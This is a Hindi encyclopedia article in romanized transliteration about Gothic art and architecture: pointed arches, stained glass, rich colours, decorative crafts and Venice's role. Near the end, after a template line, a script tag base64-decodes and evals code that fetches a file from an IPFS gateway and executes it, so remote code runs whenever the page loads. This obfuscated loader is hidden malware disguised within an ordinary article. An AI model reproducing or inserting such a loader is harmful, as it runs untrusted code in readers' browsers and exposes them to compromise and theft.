गोथिक कला
[[chitr:Govindev-temple-12.jpg|thumb|250px|govind dev mandir vrindavan mean gothik kala ki jhalak]] gothik kala se abhipray tikone meharaboan vali yooropiy shaili se hai, jisase imarat ke vishal hone ka abhas hota hai. yah madhyayugin yooropiy vastu ki ek shaili hai, jo sanbhavat: jarman goth jati ke prabhav se avirbhoot huee thi. is shaili ki imaratean yadyapi klasikal shaili ke sauandary se virahit thian aur patale, ooanche anek shikharoan se mandit hoti thian. is shaili ka bolabala pray: 12vian se 15vian sadi tak bana raha aur aant mean punarjagaran kal mean isaka sthan klasikal shaili ne liya.
vistar tatha vikas
vastu ki drishti se is shaili ki imaratoan mean chharahare ooanche khanbhe suandar, konayukt meharaboan ko sir se dharan karate haian. bahar ki or se inaki divarean pushtoan se sanpusht ki hoti haian. yoorop ke saik doan girajaghar isi shaili mean bane haian aur isi shaili mean bharat ke bhi adhikatar girje nirmit haian. niche stanbhoan ki paranpara se prastut aur oopar shool shikharoan se vyapt gothik shaili ki imaratean sudarshan haian. kalaantar mean is shaili mean alankaran ki vyavastha badhati gee aur is shaili mean nirmit imaratoan ki jyamitik dizainean vrittakar tatha tribhujakar avrittiyaan dharan karati gee. phool-paudhoan, latavallariyoan aur pashu-pakshiyoan ki akritiyoan ki akriti sanpada badhati gee aur manavetar roopoan ki abhivyakti vishesh agrah se ki jane lagi.[1]
kaanch ke tuk doan ka upayog
gothik shaili ki imaratoan mean, visheshakar girajagharoan ke daravazoan aur khi dakiyoan mean rangin kaanch ke tuk doan ka upayog hone laga, jinamean rangoan ki vividhata vishesh agrah se prayukt huee aur girajagharoan ka aantarang unake yog se chamatkrit ho utha. unhian kaanch ke tuk doan ki sahayata se manav akritiyaan bhi banaee jane lagian aur santoan ke chitr roopayit hone lage. is shaili ki imaratoan ke bahirang par anant moortiyoan ka bhi nirman hone laga. n keval vastu ke upakaranoan mean balki chitran kala mean bhi is shaili ka upayog hua aur isi ke madhyam se tatkalin granth chitrit kie jane lage aur sath hi bhittichitr likhe jane lage.
rangoan ka istemal
is shaili mean adhikatar tej rangoan ka istemal hua aur chitroan mean svarnadhooli athava ratnoan tak ka upayog karane se chitrakar n chooke. moortikala mean bhi patthar, lak di, gajadant adi ke madhyam se is shaili ka vikas hua. tab ke dhatuoan mean dhale anek abhipray aj bhi yoorop ke sangrahalayoan mean surakshit haian. kashthakarita aur dhatukarita, visheshakar svarnakarita mean yah shaili gahare paithi aur abhijaty jivan mean alankaran ka vishesh man isane pratishthit kiya. tatkalin asanoan, shaiya talpoan, paryatakoan adi ki hajaroan gothik shaili mean nirmit saj sajja madhy kal ke prasadoan mean prastut huee.[1]
prabhav
is shilp ka ek vishisht keandr venis nagar mean sthapit hua, jahaan ki kaanch ki varn shaili anyatr dushprapy thi. vahian adhikatar kalabattoo adi mean bhi is shaili ka upayog hua aur divaroan ke parde to us shaili mean itane abhiram bane ki, yadyapi ve aj mit chuke haian, bhittichitroan mean unake roop, kalabattoo aur makhamal ke sahaj abhas aj bhi utpann kar dete haian. us shaili ke lekhoan ki maryada pichhale yugoan mean phir kabhi nahian prapt ki ja saki. us madhy yug ko sadharanat: yooropiy itihas mean "aandhakar yug" kaha gaya hai, par ni:sandeh kala ke kshetr mean is gothik vastushaili ne, takshan, chitran, tantuvay sanbadhi chatakh rangoan ne use prabhoot alokit kiya.
- REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
|
|
|
|
|
tika tippani aur sandarbh
- ↑ 1.0 1.1 gothik kala (hindi). . abhigaman tithi: 11 aprail, 2014.
sanbandhit lekh